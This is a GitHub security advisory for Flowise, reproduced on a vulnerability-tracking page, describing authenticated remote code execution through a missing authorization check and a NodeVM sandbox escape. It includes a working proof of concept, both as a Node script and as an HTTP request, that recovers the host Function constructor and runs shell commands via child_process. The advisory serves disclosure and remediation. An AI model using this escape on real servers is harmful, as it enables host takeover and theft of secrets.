GHSA-9RVC-VF7M-PGM2

Vulnerability from github – Published: 2026-05-14 14:57 – Updated: 2026-05-14 20:55
VLAI
Summary
FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape
Details

Summary

POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.

When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.

The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.

Details

Two distinct security boundaries are violated.

1. Missing route-level authorization

packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:

router.post('/', nodesRouter.executeCustomFunction)

Other sensitive routes in the same codebase use explicit permission gates:

// packages/server/src/routes/chatflows/index.ts
router.post(
  '/',
  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
  chatflowsController.saveChatflow
)

Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.

2. NodeVM sandbox escape

The endpoint forwards body.javascriptFunction through the following chain:

POST /api/v1/node-custom-function
  → packages/server/src/controllers/nodes/index.ts
  → packages/server/src/utils/executeCustomNodeFunction.ts
  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
    executeJavaScriptCode(javascriptFunction, sandbox)
  → packages/components/src/utils.ts
    if !process.env.E2B_APIKEY → NodeVM fallback
  → [SINK] host process / child_process

packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:

const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY

Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.

These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:

const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();

The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.

PoC

Standalone verification (run from the repository root with E2B_APIKEY unset):

// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');

delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve(
  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));

const attackCode = `
async function f() {
  const error = new Error();
  error.name = Object.create(null);
  return error.stack;
}
return await f().catch(e => {
  const FunctionCtor = e.constructor.constructor;
  const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
  return cp.execSync('id').toString().trim();
});
`;

(async () => {
  const node = new CustomFunction();
  const result = await node.init(
    { inputs: { javascriptFunction: attackCode } },
    '',
    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
  );
  console.log('[RCE OUTPUT]', result);
})();

Confirmed output:

[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...

HTTP trigger (requires a valid API key or session):

POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json

{
  "javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}

Impact

Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.

The NodeVM fallback is the default for any deployment without E2B_APIKEY configured, which covers the majority of self-hosted instances.

Recommended remediation: 1. Add explicit permission gating to POST /api/v1/node-custom-function using the existing checkPermission middleware pattern. 2. Fail closed if E2B_APIKEY is absent — do not silently downgrade to NodeVM for untrusted code execution. 3. Restrict this endpoint from generic API key access.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T14:57:53Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.\n\nWhen `E2B_APIKEY` is not configured \u2014 the common deployment case \u2014 Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.\n\nThe result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.\n\n### Details\n\nTwo distinct security boundaries are violated.\n\n**1. Missing route-level authorization**\n\n`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:\n\n```ts\nrouter.post(\u0027/\u0027, nodesRouter.executeCustomFunction)\n```\n\nOther sensitive routes in the same codebase use explicit permission gates:\n\n```ts\n// packages/server/src/routes/chatflows/index.ts\nrouter.post(\n  \u0027/\u0027,\n  checkAnyPermission(\u0027chatflows:create,chatflows:update,agentflows:create,agentflows:update\u0027),\n  chatflowsController.saveChatflow\n)\n```\n\nGlobal `/api/v1` authentication still applies, so this is not unauthenticated \u2014 but any valid session or API key reaches the endpoint without further restriction.\n\n**2. NodeVM sandbox escape**\n\nThe endpoint forwards `body.javascriptFunction` through the following chain:\n\n```\nPOST /api/v1/node-custom-function\n  \u2192 packages/server/src/controllers/nodes/index.ts\n  \u2192 packages/server/src/utils/executeCustomNodeFunction.ts\n  \u2192 packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\n    executeJavaScriptCode(javascriptFunction, sandbox)\n  \u2192 packages/components/src/utils.ts\n    if !process.env.E2B_APIKEY \u2192 NodeVM fallback\n  \u2192 [SINK] host process / child_process\n```\n\n`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:\n\n```ts\nconst shouldUseSandbox = useSandbox \u0026\u0026 process.env.E2B_APIKEY\n```\n\nFlowise explicitly frames this as a sandboxed execution path \u2014 the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.\n\nThese controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:\n\n```js\nconst FunctionCtor = e.constructor.constructor;\nconst cp = FunctionCtor(\u0027return process.getBuiltinModule(\"child_process\")\u0027)();\nreturn cp.execSync(\u0027id\u0027).toString().trim();\n```\n\nThe NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.\n\n### PoC\n\n**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):\n\n```js\n// poc_Flowise_NodeCustomFunction_RCE_2026.js\nconst path = require(\u0027path\u0027);\n\ndelete process.env.E2B_APIKEY;\nprocess.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: \u0027NodeNext\u0027 });\n\nrequire(path.resolve(\u0027targets/Flowise/node_modules/ts-node/register/transpile-only\u0027));\n\nconst { nodeClass: CustomFunction } = require(path.resolve(\n  \u0027targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\u0027\n));\n\nconst attackCode = `\nasync function f() {\n  const error = new Error();\n  error.name = Object.create(null);\n  return error.stack;\n}\nreturn await f().catch(e =\u003e {\n  const FunctionCtor = e.constructor.constructor;\n  const cp = FunctionCtor(\u0027return process.getBuiltinModule(\"child_process\")\u0027)();\n  return cp.execSync(\u0027id\u0027).toString().trim();\n});\n`;\n\n(async () =\u003e {\n  const node = new CustomFunction();\n  const result = await node.init(\n    { inputs: { javascriptFunction: attackCode } },\n    \u0027\u0027,\n    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }\n  );\n  console.log(\u0027[RCE OUTPUT]\u0027, result);\n})();\n```\n\nConfirmed output:\n\n```\n[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...\n```\n\n**HTTP trigger** (requires a valid API key or session):\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: target:3000\nAuthorization: Bearer \u003cvalid-api-key\u003e\nContent-Type: application/json\n\n{\n  \"javascriptFunction\": \"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=\u003e{const F=e.constructor.constructor;const cp=F(\u0027return process.getBuiltinModule(\\\"child_process\\\")\u0027)();return cp.execSync(\u0027id\u0027).toString().trim();});\"\n}\n```\n\n### Impact\n\nAny authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.\n\nThe NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.\n\n**Recommended remediation:**\n1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.\n2. Fail closed if `E2B_APIKEY` is absent \u2014 do not silently downgrade to NodeVM for untrusted code execution.\n3. Restrict this endpoint from generic API key access.",
  "id": "GHSA-9rvc-vf7m-pgm2",
  "modified": "2026-05-14T20:55:10Z",
  "published": "2026-05-14T14:57:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…